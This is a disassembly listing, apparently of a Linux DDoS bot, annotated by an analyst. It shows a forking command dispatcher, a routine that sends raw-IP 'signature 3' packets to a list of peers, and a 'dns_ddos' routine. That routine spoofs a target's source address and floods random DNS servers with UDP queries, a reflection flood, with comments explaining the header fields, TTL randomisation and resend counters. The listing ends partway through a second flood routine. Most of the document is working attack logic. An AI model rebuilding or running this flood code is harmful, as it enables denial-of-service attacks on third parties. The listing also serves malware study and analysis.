		movzx	eax, [ebp+packet_byte10]
		push	eax
		movzx	eax, [ebp+packet_byte9]
		push	eax
		movzx	eax, [ebp+packet_byte8]
		push	eax
		movzx	eax, [ebp+packet_byte7]
		push	eax
		movzx	eax, [ebp+packet_byte6]
		push	eax
		movzx	eax, [ebp+packet_byte5]
		push	eax
		movzx	eax, [ebp+packet_byte4]
		push	eax
		movzx	eax, [ebp+packet_byte3]
		push	eax
		movzx	eax, [ebp+packet_byte2]
		push	eax
		call	sub_8049D40
		add	esp, 38h
		push	0
		call	exit_
		nop

loc_8048D08:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		cmp	ds:child_pid, 0	; case 0xa
		jnz	usleep_and_loop	; default
		mov	ds:before_fork,	0Bh
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	usleep_and_loop	; default
		lea	edi, [ebp+hostname]
		lea	esi, [ebp+packet_byte0]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048D4C:				; CODE XREF: real_start+C2Dj
		mov	al, [ebx+ebp-44ADh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048D4C
		lea	eax, [ebp+hostname]
		push	eax
		movzx	eax, [ebp+packet_byte14]
		push	eax
		movzx	eax, [ebp+packet_byte13]
		push	eax
		movzx	eax, [ebp+packet_byte12]
		push	eax
		movzx	eax, [ebp+packet_byte11]
		push	eax
		movzx	eax, [ebp+packet_byte10]
		push	eax
		movzx	eax, [ebp+packet_byte9]
		push	eax
		movzx	eax, [ebp+packet_byte8]
		push	eax
		movzx	eax, [ebp+packet_byte7]
		push	eax
		movzx	eax, [ebp+packet_byte6]
		push	eax
		movzx	eax, [ebp+packet_byte5]
		push	eax
		movzx	eax, [ebp+packet_byte4]
		push	eax
		movzx	eax, [ebp+packet_byte3]
		push	eax
		movzx	eax, [ebp+packet_byte2]
		push	eax
		call	sub_8049D40
		add	esp, 38h
		push	0
		call	exit_
		lea	esi, [esi+0]

loc_8048DE4:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		cmp	ds:child_pid, 0	; case 0xb
		jnz	usleep_and_loop	; default
		mov	ds:before_fork,	0Ch
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	usleep_and_loop	; default
		lea	edi, [ebp+hostname]
		lea	esi, [ebp+packet_byte0]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048E28:				; CODE XREF: real_start+D09j
		mov	al, [ebx+ebp-44AEh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048E28
		lea	eax, [ebp+hostname]
		push	eax
		movzx	eax, [ebp+packet_byte13]
		push	eax
		movzx	eax, [ebp+packet_byte12]
		push	eax
		movzx	eax, [ebp+packet_byte11]
		push	eax
		movzx	eax, [ebp+packet_byte10]
		push	eax
		movzx	eax, [ebp+packet_byte9]
		push	eax
		movzx	eax, [ebp+packet_byte8]
		push	eax
		movzx	eax, [ebp+packet_byte7]
		push	eax
		movzx	eax, [ebp+packet_byte6]
		push	eax
		movzx	eax, [ebp+packet_byte5]
		push	eax
		movzx	eax, [ebp+packet_byte4]
		push	eax
		movzx	eax, [ebp+packet_byte3]
		push	eax
		movzx	eax, [ebp+packet_byte2]
		push	eax
		call	sub_8049564
		add	esp, 34h
		push	0
		call	exit_
		lea	esi, [esi+0]

usleep_and_loop:			; CODE XREF: real_start+1A5j
					; real_start+1B4j ...
		push	2710h		; default
		call	usleep
		add	esp, 4
		jmp	loc_80482B0
real_start	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sent_packet_sig3_peers proc near	; CODE XREF: real_start+2AFp
					; real_start+5ABp

var_C		= byte ptr -0Ch
ip_dst_ptr	= dword	ptr  8
ip_data_ptr	= dword	ptr  0Ch
ip_data_size	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+ip_dst_ptr]
		mov	edi, [ebp+ip_data_size]
		cmp	ds:packet_byte2_saved, 0
		jz	short packet_byte2_saved_is_0
		mov	ebx, eax
		lea	esi, [ebx+24h]	; there	are 10 ip addresses
		lea	esi, [esi]

loc_8048EE8:				; CODE XREF: sent_packet_sig3_peers+3Ej
		push	0FA0h
		call	usleep		; usleep(4000)
		push	edi		; ip_data_size
		mov	edx, [ebp+ip_data_ptr]
		push	edx		; ip_data_ptr
		push	ebx		; ip_dst_ptr
		push	offset ouraddr_D ; ip_src_ptr
		call	send_packet_sig3
		add	esp, 14h
		add	ebx, 4		; ip_dst_ptr points to an array	of addresses
		cmp	ebx, esi
		jle	short loc_8048EE8
		jmp	short loc_8048F20
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

packet_byte2_saved_is_0:		; CODE XREF: sent_packet_sig3_peers+13j
		push	edi		; ip_data_size
		mov	edx, [ebp+ip_data_ptr]
		push	edx		; ip_data_ptr
		push	eax		; ip_dst_ptr
		push	offset ouraddr_D ; ip_src_ptr
		call	send_packet_sig3

loc_8048F20:				; CODE XREF: sent_packet_sig3_peers+40j
		mov	eax, 1		; return 1
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sent_packet_sig3_peers endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	edx, [ebp+0Ch]
		mov	ebx, [ebp+8]
		xor	ecx, ecx
		mov	word ptr [ebp-2], 0
		cmp	edx, 1
		jle	short loc_8048F5C
		lea	esi, [esi]

loc_8048F4C:				; CODE XREF: .text:08048F5Aj
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_8048F4C

loc_8048F5C:				; CODE XREF: .text:08048F48j
		cmp	edx, 1
		jnz	short loc_8048F6C
		mov	al, [ebx]
		mov	[ebp-2], al
		movzx	eax, word ptr [ebp-2]
		add	ecx, eax

loc_8048F6C:				; CODE XREF: .text:08048F5Fj
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp-2], ax
		and	eax, 0FFFFh
		mov	ebx, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

send_packet_sig3 proc near		; CODE XREF: sent_packet_sig3_peers+31p
					; sent_packet_sig3_peers+4Fp

var_50		= byte ptr -50h
sock		= dword	ptr -44h
malloc_20_ptr	= dword	ptr -40h
malloc_ptr	= dword	ptr -3Ch
malloc_22_ptr	= dword	ptr -38h
checksum	= word ptr -32h
ip_dst_str	= byte ptr -30h
sockaddr_family	= word ptr -10h
sockaddr_port	= word ptr -0Eh
sockaddr_ip	= dword	ptr -0Ch
ip_src_ptr	= dword	ptr  8
ip_dst_ptr	= dword	ptr  0Ch
packet_data	= dword	ptr  10h
packet_data_size= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+ip_dst_ptr]
		push	0FFh
		push	3
		push	2
		call	socket		; open a SOCK_RAW socket, type PF_INET,	proto IPPROTO_RAW
		mov	[ebp+sock], eax
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short return0	; error, return	0
		mov	eax, [ebp+packet_data_size]
		add	eax, 17h
		push	eax
		call	malloc		; malloc(ip_data_size +	23)
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short malloc_ok

return0:				; CODE XREF: send_packet_sig3+23j
		xor	eax, eax	; error, return	0
		jmp	exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

malloc_ok:				; CODE XREF: send_packet_sig3+38j
		mov	[ebp+malloc_ptr], esi
		lea	edi, [esi+14h]
		mov	[ebp+malloc_20_ptr], edi
		lea	edi, [esi+16h]
		mov	[ebp+malloc_22_ptr], edi
		mov	edi, [ebp+ip_src_ptr]
		mov	al, [edi]	; copy src ip and dst ip address to the	malloc buffer (building	a IP packet)
		mov	[esi+0Ch], al
		mov	al, [edi+1]
		mov	[esi+0Dh], al
		mov	al, [edi+2]
		mov	[esi+0Eh], al
		mov	al, [edi+3]
		mov	[esi+0Fh], al
		mov	al, [ebx]
		mov	[esi+10h], al
		mov	al, [ebx+1]
		mov	[esi+11h], al
		mov	al, [ebx+2]
		mov	[esi+12h], al
		mov	al, [ebx+3]
		mov	[esi+13h], al
		movzx	eax, byte ptr [ebx+3] ;	ebx is ip_dst_ptr
		push	eax
		movzx	eax, byte ptr [ebx+2]
		push	eax
		movzx	eax, byte ptr [ebx+1]
		push	eax
		movzx	eax, byte ptr [ebx]
		push	eax		; push ip_dst
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	ebx, [ebp+ip_dst_str]
		push	ebx
		call	sprintf		; get a	string with the	dst ip address
		push	ebx
		call	gethostbyname_
		mov	[ebp+sockaddr_ip], eax
		mov	[ebp+sockaddr_port], 0Ah ; port	2560
		mov	[ebp+sockaddr_family], 2 ; AF_INET
		mov	byte ptr [esi],	45h ; ip header	field
		mov	byte ptr [esi+8], 0FAh ; set TTL to 250
		mov	byte ptr [esi+9], 0Bh ;	set protocol to	0x0B
		add	esp, 1Ch
		mov	ax, word ptr [ebp+packet_data_size]
		add	ax, 16h
		xchg	al, ah
		mov	[esi+2], ax	; ip_len = ip_data_size	+ 22
		mov	byte ptr [esi+1], 0 ; TOS = 0
		call	random
		xchg	al, ah
		mov	[esi+4], ax	; set the ip id	to a random byte
		mov	word ptr [esi+6], 0 ; ip fragment field
		mov	word ptr [esi+0Ah], 0 ;	ip checksum
		mov	edx, 14h
		mov	ecx, esi
		xor	ebx, ebx
		mov	[ebp+checksum],	0

loc_8049094:				; CODE XREF: send_packet_sig3+10Ej
		movzx	eax, word ptr [ecx]
		add	ebx, eax
		add	ecx, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_8049094
		jnz	short loc_80490B1
		mov	al, [ecx]
		mov	byte ptr [ebp+checksum], al
		movzx	eax, [ebp+checksum]
		add	ebx, eax

loc_80490B1:				; CODE XREF: send_packet_sig3+110j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+checksum],	ax
		mov	edi, [ebp+malloc_ptr]
		mov	[edi+0Ah], ax	; set ip checksum
		mov	edi, [ebp+malloc_20_ptr]
		mov	byte ptr [edi],	3 ; packet signature 3
		mov	edi, [ebp+packet_data_size]
		push	edi
		mov	edi, [ebp+packet_data]
		push	edi
		mov	edi, [ebp+malloc_22_ptr]
		push	edi
		call	memcpy		; copy the encrypted data to the payload section of the	new packet
		add	esp, 0Ch
		push	10h		; socklen_t tolen
		lea	eax, [ebp+sockaddr_family]
		push	eax		; struct sockaddr* to
		push	0		; flags
		mov	eax, [ebp+packet_data_size]
		add	eax, 16h
		push	eax		; len
		push	esi		; msg*
		mov	edi, [ebp+sock]
		push	edi		; sock
		call	sendto
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8049118
		push	esi
		call	free
		xor	eax, eax
		jmp	short exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8049118:				; CODE XREF: send_packet_sig3+178j
		mov	edi, [ebp+sock]
		push	edi
		call	__libc_close
		push	esi
		call	free
		mov	eax, 1

exit:					; CODE XREF: send_packet_sig3+3Cj
					; send_packet_sig3+182j
		lea	esp, [ebp+var_50]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
send_packet_sig3 endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

gethostbyname_	proc near		; CODE XREF: send_packet_sig3+A6p

name		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+name]
		push	eax
		call	gethostbyname
		mov	ecx, eax
		add	esp, 4
		test	ecx, ecx
		jz	short loc_804916C
		mov	eax, [ecx+10h]
		mov	edx, [eax]	; hostent->h_addr_list[0]
		mov	eax, [ecx+0Ch]	; h_length
		push	eax
		push	edx
		push	offset h_addr
		call	memcpy
		mov	eax, ds:h_addr
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804916C:				; CODE XREF: gethostbyname_+13j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
gethostbyname_	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

dns_ddos	proc near		; CODE XREF: real_start+684p
					; real_start+AEEp

var_680		= byte ptr -680h
var_674		= dword	ptr -674h
dns_queries_index= dword ptr -670h
addr_of_dns_server= dword ptr -66Ch
resolve_counter	= dword	ptr -668h
sleep_counter	= dword	ptr -664h
addr_of_udp_data= dword	ptr -660h
addr_of_source_port= dword ptr -65Ch
sock		= dword	ptr -658h
random_server	= dword	ptr -654h
ip_addr_A	= byte ptr -650h
ip_addr_B	= byte ptr -64Ch
ip_addr_C	= byte ptr -648h
ip_addr_D	= byte ptr -644h
var_63E		= word ptr -63Eh
ip_addr		= dword	ptr -63Ch
ip_packet	= byte ptr -638h
src_ip_addr_D	= byte ptr -62Ch
src_ip_addr_C	= byte ptr -62Bh
src_ip_addr_B	= byte ptr -62Ah
src_ip_addr_A	= byte ptr -629h
source_port	= byte ptr -624h
udp_data	= byte ptr -61Ch
sockaddr_family	= word ptr -228h
sockaddr_port	= word ptr -226h
dns_server_ip	= dword	ptr -224h
dns_queries_copy= byte ptr -218h
dns_queries_sizes_copy=	dword ptr -24h
ip_addr_D_	= byte ptr  8
ip_addr_C_	= byte ptr  0Ch
ip_addr_B_	= byte ptr  10h
ip_addr_A_	= byte ptr  14h
sleep_interval	= dword	ptr  18h
port_hi		= dword	ptr  1Ch
port_lo		= dword	ptr  20h
do_resolve	= dword	ptr  24h
hostname	= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 674h
		push	edi
		push	esi
		push	ebx
		mov	bl, [ebp+ip_addr_D_]
		mov	[ebp+ip_addr_D], bl
		mov	bl, [ebp+ip_addr_C_]
		mov	[ebp+ip_addr_C], bl
		mov	bl, [ebp+ip_addr_B_]
		mov	[ebp+ip_addr_B], bl
		mov	bl, [ebp+ip_addr_A_]
		mov	[ebp+ip_addr_A], bl
		lea	edi, [ebp+dns_queries_sizes_copy]
		mov	esi, offset dns_queries_sizes
		cld
		mov	ecx, 9
		repe movsd		; copy the size	array
		mov	[ebp+random_server], 1
		lea	edi, [ebp+dns_queries_copy]
		mov	esi, offset dns_queries
		cld
		mov	ecx, 7Dh
		repe movsd
		lea	esi, [ebp+ip_packet]
		lea	ebx, [ebp+source_port]
		mov	[ebp+addr_of_source_port], ebx
		lea	ebx, [ebp+udp_data]
		mov	[ebp+addr_of_udp_data],	ebx
		mov	[ebp+sockaddr_family], 2
		mov	[ebp+sockaddr_port], 0
		cmp	[ebp+sleep_interval], 0
		jz	short loc_804920A
		dec	[ebp+sleep_interval]

loc_804920A:				; CODE XREF: dns_ddos+91j
		push	0FFh
		push	3
		push	2
		call	socket		; open a SOCK_RAW socket, type PF_INET,	proto IPPROTO_RAW
		mov	[ebp+sock], eax
		add	esp, 0Ch
		test	eax, eax
		jle	loc_8049548	; return on error
		mov	[ebp+sleep_counter], 0
		mov	[ebp+resolve_counter], 0
		push	400h
		push	0
		push	esi
		call	memset		; set ip_packet	to all 0's
		add	esp, 0Ch
		lea	esi, [esi+0]

infinite_dos_loop:			; CODE XREF: dns_ddos+140j
					; dns_ddos+3CDj
		xor	edi, edi	; try_again_flag = 0
		cmp	[ebp+do_resolve], 0
		jz	short skip_resolve
		cmp	[ebp+resolve_counter], 0
		jg	short skip_resolve ; if	do_resolve=0 or	resolved_counter>0, skip the resolve
		mov	ebx, [ebp+hostname]
		push	ebx
		call	gethostbyname	; packet_copy contains the name	to be resolved
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short does_resolve
		push	258h		; does not resolve
		call	sleep		; sleep	for 10 minutes
		mov	edi, 1		; try_again_flag = 1
		add	esp, 4
		jmp	short skip_resolve
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

does_resolve:				; CODE XREF: dns_ddos+FDj
		push	4
		lea	eax, [ebp+ip_addr]
		push	eax
		mov	eax, [edx+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy		; copy the resolved address to ip_addr
		mov	eax, [ebp+ip_addr]
		mov	[esi+0Ch], eax	; put address in ip_packet + 0x0C (source_addr)
		mov	[ebp+resolve_counter], 9C40h ; send 40000 packets before resolving again
		add	esp, 0Ch

skip_resolve:				; CODE XREF: dns_ddos+E2j dns_ddos+EBj ...
		test	edi, edi
		jnz	short infinite_dos_loop
		xor	edi, edi
		mov	[ebp+dns_queries_index], 0
		lea	esi, [esi]

nine_queries_loop:			; CODE XREF: dns_ddos+3C7j
		cmp	[ebp+random_server], 1 ; for (edi=0; edi < 9; edi++)
		jnz	short don_use_random
		mov	[ebp+random_server], 0
		call	__random
		mov	ebx, 1F40h
		cdq
		idiv	ebx		; edx is a random number between 0 and 7999
		jmp	short loc_80492EA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

don_use_random:				; CODE XREF: dns_ddos+157j
		xor	edx, edx

loc_80492EA:				; CODE XREF: dns_ddos+170j
		cmp	dword ptr dns_servers[edx*4], 0
		jz	next_query
		lea	edx, ds:806D22Ch[edx*4]
		mov	[ebp+addr_of_dns_server], edx
		lea	esi, [esi+0]

loc_8049308:				; CODE XREF: dns_ddos+3B6j
		mov	ebx, [ebp+addr_of_dns_server]
		mov	eax, [ebx]
		mov	[ebp+dns_server_ip], eax
		mov	ebx, [ebp+dns_queries_index]
		lea	edx, [ebp+ebx+dns_queries_copy]
		mov	eax, [ebp+edi*4+dns_queries_sizes_copy]
		push	eax		; the size is taken from dns_queries_sizes_copy[edi*4]
		push	edx		; dns_queries_copy[ebx]	is source
		mov	ebx, [ebp+addr_of_udp_data]
		push	ebx		; udp_data is destination
		call	memcpy
		add	esp, 0Ch
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx		; random number	between	0 and 254
		mov	ebx, [ebp+addr_of_udp_data]
		mov	[ebx], dl	; random first byte of DNS packet (identification)
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	ebx, [ebp+addr_of_udp_data]
		mov	[ebx+1], dl	; random second	byte of	DNS packet (identification)
		cmp	[ebp+port_hi], 0
		jnz	short loc_8049380
		cmp	[ebp+port_lo], 0
		jnz	short loc_8049380
		call	__random
		mov	ebx, 7530h
		cdq
		idiv	ebx
		mov	eax, edx	; eax is random	number between 0 and 29999
		jmp	short loc_804938A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8049380:				; CODE XREF: dns_ddos+1F3j
					; dns_ddos+1F9j
		mov	eax, [ebp+port_hi]
		shl	eax, 8
		add	ax, word ptr [ebp+port_lo] ; eax = packet6_ << 8 + (u_int16_t)packet7_

loc_804938A:				; CODE XREF: dns_ddos+20Aj
		xchg	al, ah		; htons
		mov	ebx, [ebp+addr_of_source_port]
		mov	[ebx], ax
		mov	ebx, [ebp+addr_of_source_port]
		mov	word ptr [ebx+2], 3500h	; dest_port = 53
		mov	ax, word ptr [ebp+edi*4+dns_queries_sizes_copy]
		add	ax, 8
		xchg	al, ah
		mov	[ebx+4], ax	; udp_length
		mov	word ptr [ebx+6], 0 ; udp_checksum
		cmp	[ebp+do_resolve], 0
		jnz	short loc_80493EC
		mov	bl, [ebp+ip_addr_D] ; take the source IP address from packet bytes 2-5
		mov	[ebp+src_ip_addr_D], bl
		mov	bl, [ebp+ip_addr_C]
		mov	[ebp+src_ip_addr_C], bl
		mov	bl, [ebp+ip_addr_B]
		mov	[ebp+src_ip_addr_B], bl
		mov	bl, [ebp+ip_addr_A]
		mov	[ebp+src_ip_addr_A], bl

loc_80493EC:				; CODE XREF: dns_ddos+246j
		mov	ebx, [ebp+addr_of_dns_server]
		mov	eax, [ebx]
		mov	[esi+10h], eax	; destination ip address
		mov	byte ptr [esi],	45h ; ip version/length
		call	__random
		mov	ebx, 82h
		cdq
		idiv	ebx
		add	dl, 78h
		mov	[esi+8], dl	; TTL =	random number between 120 and 249
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	[esi+4], dx	; ip id	= random between 0 and 254
		mov	byte ptr [esi+9], 11h ;	ip protocol = UDP
		mov	word ptr [esi+6], 0 ; ip frag
		mov	ax, word ptr [ebp+edi*4+dns_queries_sizes_copy]
		add	ax, 1Ch
		xchg	al, ah
		mov	[esi+2], ax	; ip total length = 28 + dns_query_size
		mov	word ptr [esi+0Ah], 0 ;	ip header checksum
		mov	edx, 14h
		lea	ebx, [ebp+ip_packet]
		mov	[ebp+var_674], ebx
		xor	ecx, ecx
		mov	[ebp+var_63E], 0
		lea	esi, [esi+0]

loc_804945C:				; CODE XREF: dns_ddos+302j
		mov	ebx, [ebp+var_674]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+var_674], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_804945C
		jnz	short loc_804948B
		mov	al, [ebx]
		mov	byte ptr [ebp+var_63E],	al
		movzx	eax, [ebp+var_63E]
		add	ecx, eax

loc_804948B:				; CODE XREF: dns_ddos+304j
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+var_63E], ax
		mov	[esi+0Ah], ax	; ip header checksum
		push	10h
		lea	eax, [ebp+sockaddr_family]
		push	eax		; struct sockaddr* to
		push	0		; flags
		mov	eax, [ebp+edi*4+dns_queries_sizes_copy]
		add	eax, 1Ch
		push	eax		; len =	28 + dns_query_size
		lea	eax, [ebp+ip_packet]
		push	eax		; char*	msg
		mov	ebx, [ebp+sock]
		push	ebx		; sock
		call	sendto
		add	esp, 18h
		cmp	[ebp+sleep_interval], 0
		jnz	short dont_usleep
		push	12Ch
		call	usleep		; usleep(300)
		jmp	short loc_8049507
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

dont_usleep:				; CODE XREF: dns_ddos+366j
		mov	ebx, [ebp+sleep_interval]
		cmp	[ebp+sleep_counter], ebx
		jnz	short loc_8049514
		push	12Ch
		call	usleep
		mov	[ebp+sleep_counter], 0

loc_8049507:				; CODE XREF: dns_ddos+372j
		dec	[ebp+resolve_counter]
		add	esp, 4
		jmp	short loc_804951A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8049514:				; CODE XREF: dns_ddos+37Dj
		inc	[ebp+sleep_counter]

loc_804951A:				; CODE XREF: dns_ddos+39Cj
		add	[ebp+addr_of_dns_server], 4
		mov	ebx, [ebp+addr_of_dns_server]
		cmp	dword ptr [ebx], 0
		jnz	loc_8049308

next_query:				; CODE XREF: dns_ddos+17Ej
		add	[ebp+dns_queries_index], 32h
		inc	edi
		cmp	edi, 8
		jle	nine_queries_loop ; try	9 times	(edi = 0..8)
		jmp	infinite_dos_loop
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8049548:				; CODE XREF: dns_ddos+AFj
		mov	ds:child_pid, 0
		xor	eax, eax
		lea	esp, [ebp+var_680]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
dns_ddos	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8049564	proc near		; CODE XREF: real_start+D72p

var_698		= byte ptr -698h
var_68C		= dword	ptr -68Ch
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_67C		= dword	ptr -67Ch
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_664		= byte ptr -664h
var_660		= byte ptr -660h
var_65C		= byte ptr -65Ch
var_658		= byte ptr -658h
var_654		= byte ptr -654h
var_64E		= word ptr -64Eh
var_64C		= dword	ptr -64Ch
var_648		= byte ptr -648h
var_628		= byte ptr -628h
var_61C		= byte ptr -61Ch
var_61B		= byte ptr -61Bh
var_61A		= byte ptr -61Ah
var_619		= byte ptr -619h
var_618		= byte ptr -618h
var_617		= byte ptr -617h
var_616		= byte ptr -616h
var_615		= byte ptr -615h
var_614		= byte ptr -614h
var_60C		= byte ptr -60Ch
var_228		= word ptr -228h
var_226		= word ptr -226h
var_224		= dword	ptr -224h
var_218		= byte ptr -218h
var_24		= dword	ptr -24h
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h
arg_10		= byte ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= byte ptr  20h
arg_1C		= byte ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h
arg_30		= dword	ptr  38h

		push	ebp
		mov	ebp, esp
		sub	esp, 68Ch
		push	edi
		push	esi
		push	ebx
		mov	bl, [ebp+arg_0]
		mov	[ebp+var_654], bl
		mov	bl, [ebp+arg_4]
		mov	[ebp+var_658], bl
		mov	bl, [ebp+arg_8]
		mov	[ebp+var_65C], bl
		mov	bl, [ebp+arg_C]
		mov	[ebp+var_660], bl
		mov	bl, [ebp+arg_10]
		mov	[ebp+var_664], bl
		mov	bl, [ebp+arg_14]
		mov	[ebp+var_668], bl
		mov	bl, [ebp+arg_18]
		mov	[ebp+var_66C], bl
		mov	bl, [ebp+arg_1C]
		mov	[ebp+var_670], bl
		lea	edi, [ebp+var_24]
		mov	esi, offset dns_queries_sizes
		cld
		mov	ecx, 9
		repe movsd
		lea	edi, [ebp+var_218]
		mov	esi, offset dns_queries
		cld
		mov	ecx, 7Dh
		repe movsd
		lea	edi, [ebp+var_628]
		lea	ebx, [ebp+var_614]
		mov	[ebp+var_678], ebx
		lea	ebx, [ebp+var_60C]
		mov	[ebp+var_67C], ebx
		mov	[ebp+var_228], 2
		mov	[ebp+var_226], 0
		cmp	[ebp+arg_2C], 0
		jnz	short loc_8049645
		movzx	eax, [ebp+var_660]
		push	eax
		movzx	eax, [ebp+var_65C]
		push	eax
		movzx	eax, [ebp+var_658]
		push	eax
		movzx	eax, [ebp+var_654]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	eax, [ebp+var_648]
		push	eax
		call	sprintf
		add	esp, 18h

loc_8049645:				; CODE XREF: sub_8049564+ABj
		cmp	[ebp+arg_20], 0
		jz	short loc_804964E
		dec	[ebp+arg_20]

loc_804964E:				; CODE XREF: sub_8049564+E5j
		push	0FFh
		push	3
		push	2
		call	socket		; open a SOCK_RAW socket, type PF_INET,	proto IPPROTO_RAW
		mov	[ebp+var_674], eax
		add	esp, 0Ch
		test	eax, eax
		jle	loc_80499D8
		mov	[ebp+var_680], 0
		mov	[ebp+var_684], 0
		push	400h
		push	0
		push	edi
		call	memset
		add	esp, 0Ch
		lea	esi, [esi+0]

loc_8049694:				; CODE XREF: sub_8049564+19Aj
					; sub_8049564+46Fj
		xor	esi, esi
		cmp	[ebp+arg_2C], 0
		jz	short loc_80496FC
		cmp	[ebp+var_684], 0
		jg	short loc_80496FC
		mov	ebx, [ebp+arg_30]
		push	ebx
		call	gethostbyname
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_80496CC
		push	258h
		call	sleep
		mov	esi, 1
		add	esp, 4
		jmp	short loc_80496FC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80496CC:				; CODE XREF: sub_8049564+151j
		push	4
		lea	eax, [ebp+var_64C]
		push	eax
		mov	eax, [edx+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	eax, [ebp+var_64C]
		mov	[edi+10h], eax
		mov	[ebp+var_224], eax
		mov	[ebp+var_684], 9C40h
		add	esp, 0Ch

loc_80496FC:				; CODE XREF: sub_8049564+136j
